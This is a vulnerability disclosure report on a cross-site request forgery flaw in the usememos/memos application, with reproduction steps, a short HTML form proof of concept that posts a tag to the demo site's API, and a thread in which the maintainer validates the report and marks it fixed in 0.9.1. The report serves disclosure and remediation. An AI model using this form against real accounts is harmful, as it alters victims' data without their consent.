CSRF allows attacker to add malicious tags to vitim account in usememos/memos


Reported on

Dec 23rd 2022


Cross-Site Request Forgery (CSRF) is an attack that forces authenticated users to submit a request to a Web application against which they are currently authenticated. CSRF attacks exploit the trust a Web application has in an authenticated user

Proof of Concept

1) Go to https://demo.usememos.com and login into your account 
2) Save the below CSRF POC as CSRF.html and open the file in the same browser 
3) You will see that the attackers tag has been added to victim account 

POC video: https://drive.google.com/file/d/1hXWjZDM7ChdGLFl9ECQiKkBXGWtmGeO5/view?usp=sharing

  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.usememos.com/api/tag" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;name&quot;&#58;&quot;hacked&quot;&#125;" value="" />
      <input type="submit" value="Submit request" />

# Impact

A CSRF vulnerability can allow an attacker to force the change of a password and/or other personal information
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Nehal Pillai
13 days ago


@maintainer any updates on this?

STEVEN validated this vulnerability 12 days ago
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STEVEN marked this as fixed in 0.9.1 with commit 3556ae 12 days ago
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